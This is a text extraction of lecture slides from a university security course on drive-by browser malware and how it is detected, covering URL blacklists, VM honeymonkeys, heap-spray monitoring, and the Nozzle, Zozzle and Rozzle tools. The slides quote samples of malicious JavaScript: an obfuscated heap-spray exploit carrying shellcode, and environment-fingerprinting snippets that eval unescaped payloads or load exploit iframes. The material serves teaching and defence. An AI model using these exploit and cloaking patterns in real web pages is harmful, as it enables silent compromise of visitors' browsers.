CSE484/CSE584 DRIVE-BY MALWARE Dr. Benjamin Livshits Homework, - - PowerPoint PPT Presentation

CSE484/CSE584

DRIVE-BY MALWARE

• Dr. Benjamin Livshits

Homework, Labs, and Project

 Please be ready to give

a short 2-minute pitch about your strategy

 We want to give you

more time to focus on the project

 sql3  xss7  Xss8

 Are now extra credit

2

 HW-3 due Friday  Lab-3 due Tuesday  Ask more questions  We are here to help  There’s no need to feel

stuck – we want you to spend your time well and learn a lot from the process

See Anything in Common

var MuqEZYdx = "%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%uea01…“ ; var avIztsbF = "%u0C0C%u0C0C"; var TzsygYnD = "%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA"; var eSSOLKOd = unescape(MuqEZYdx); var pbIkPrKa = new Array(); var wSqaQK = 1000; var xASdnqwj = 0x100000; var xAFKNqwO = 2; var oQkmsLLP = 0x01020; var EibcUrHC = xASdnqwj - (eSSOLKOd.length * xAFKNqwO + oQkmsLLP); var cTAfWBbz = unescape(avIztsbF); var oKqMlPqL = 0xC0;

while (cTAfWBbz.length < EibcUrHC / xAFKNqwO) {

cTAfWBbz += cTAfWBbz; } var GBVpRAcd = cTAfWBbz.substring(0, EibcUrHC / xAFKNqwO);

delete cTAfWBbz; for (JyxIaABZ = 0; JyxIaABZ < oKqMlPqL; JyxIaABZ++) { pbIkPrKa[JyxIaABZ] = GBVpRAcd + eSSOLKOd; } CollectGarbage();

var fseYOuUZ = unescape(TzsygYnD); var wxDSxsOR = new Array();

for (var FNMszcqR = 0; FNMszcqR < wSqaQK; FNMszcqR++) wxDSxsOR.push(document.createElement("img"));

function FKOASMamskASDweqnbjdwasSDQWWQq() { vVLUmYRf = document.createElement("tbody"); vVLUmYRf.click; var wycLwNIo = vVLUmYRf.cloneNode();

3

Detecting Drive-By Malware

 VM-based detection  Static or statistical

analysis of code

 Runtime observations  Done in data centers

and user browsers

 Generally, pre-

scanning of URLs is preferable

 Why?  What are the

downsides?

4

Browser Consume URL Blacklists

5

But Also Search Engines

6

Safe Browsing Diagnostics

7

VM-Based Detection (Honeymonkey)

 Runtime detection

 Put a (possibly

vulnerable browser) into a VM

 Equip it with some

plugins

 Visit a possibly

malicious site

 See if anything

interesting happens

 Why use a VM?  What if nothing

happens? What can you conclude?

 How would malware

hide from you?

8

Runtime Detection

 Focusing on heap

sprays – very common in 2008-2012 time frame

 Monitor the browser

heap looking for evidence of spraying

9

Statistical Detection

 Observe patterns in

the code

 Train Machine

Learning classifiers

 Combine with de-

• bfuscation

10

ROZZLE

11

if (navigator.userAgent.toLowerCase().indexOf( "\x6D"+"\x73\x69\x65"+"\x20\x36")>0) document.write("<iframe src=x6.htm></iframe>"); if (navigator.userAgent.toLowerCase().indexOf( "\x6D"+"\x73"+"\x69"+"\x65"+"\x20"+"\x37")>0) document.write("<iframe src=x7.htm></iframe>"); try { var a; var aa=new ActiveXObject("Sh"+"ockw"+"av"+"e"+"Fl"+[…]); } catch(a) { } finally { if (a!="[object Error]") document.write("<iframe src=svfl9.htm></iframe>"); } try { var c; var f=new ActiveXObject("O"+"\x57\x43"+"\x31\x30\x2E\x53"+[…]); } catch(c) { } finally { if (c!="[object Error]") { aacc = "<iframe src=of.htm></iframe>"; setTimeout("document.write(aacc)", 3500); } }

Online

… an example pulled from our DB… "\x6D"+"\x73\x69\x65 "+"\x20\x36" = "msie 6" "\x6D"+"\x73"+"\x69"+"\ x65"+"\x20"+"\x37" = "msie 7" "O"+"\x57\x43"+"\x31\x30\x2E\x5 3"+"pr"+"ea"+"ds"+"he"+"et" = "OWC10.Spreadsheet"

12

Environment Fingerprinting Prevents Detection

Nozzle Zozzle

<script> if (navigator.userAgent.indexOf(‘IE 6’)>=0) { var x=unescape(‘%u4149%u1982%u90 […]’); eval(x); } </script>

13

<script> var adobe=new ActiveXObject(‘AcroPDF.PDF’); var adobeVersion=adobe.GetVariable (‘$version’); if (navigator.userAgent.indexOf(‘IE 6’)>=0 && adobeVersion == ’9.1.3’) { var x=unescape(‘%u4149%u1982%u90 […]’); eval(x); } </script>

Is this a practical problem for

• ur malware detectors?
• In 7.7% of JS files, code gets a

reference to environment

• In 1.2%, code branches on

such sensitive values

• 89.5% of malicious JS branches
• n such values

Typical Malware Cloaking

14

More Complex Fingerprinting

15

Fingerprint: Q0193807F127J14

Avoiding Dynamic Crawlers

16

Avoiding Static Detection

17

How to Allocate Detection Resources?

1.4 1.5 2.0 9.0 9.1 10.0 8 9 10

… …

Rozzle

Clearly does not scale How many resources should be allocated to filter malicious sites? What if the site simply is not malicious?

18

• Execute individual branches

sequentially to increase coverage

• Static analysis: Retain much
• f runtime precision
• Branch on environment-

sensitive checks

• No forking
• No snapshotting
• Symbolic execution: re-

verting to a previous state similar to running multiple browsers in parallel

Rozzle

Multi-path execution framework for JavaScript

• Multiple browser profiles
• n single machine

What it is/does

• Cluster of machines: too

resource consuming

What it is not

19

Multi-Execution in Rozzle

<script> var adobe=new ActiveXObject(‘AcroPDF.PDF’); var adobeVersion=adobe.GetVariable (‘$version’); if (navigator.userAgent.indexOf(‘IE 7’)>=0 && adobeVersion == ’9.1.3’) { var x=unescape(‘%u4149%u1982%u90 […]’); eval(x); } else if (adobeVersion == ’8.0.1’) { var x=unescape(‘%u4073%u8279%u77 […]’); eval(x); } … </script>

20

Experiments

Offline

• Controlled Experiment
• 7x more Nozzle detections

Online

• Similar to Bing crawling
• Almost 4x more Nozzle detections
• 10.1% more Zozzle detections

Overhead

• 1.1% runtime overhead
• 1.4% memory overhead

21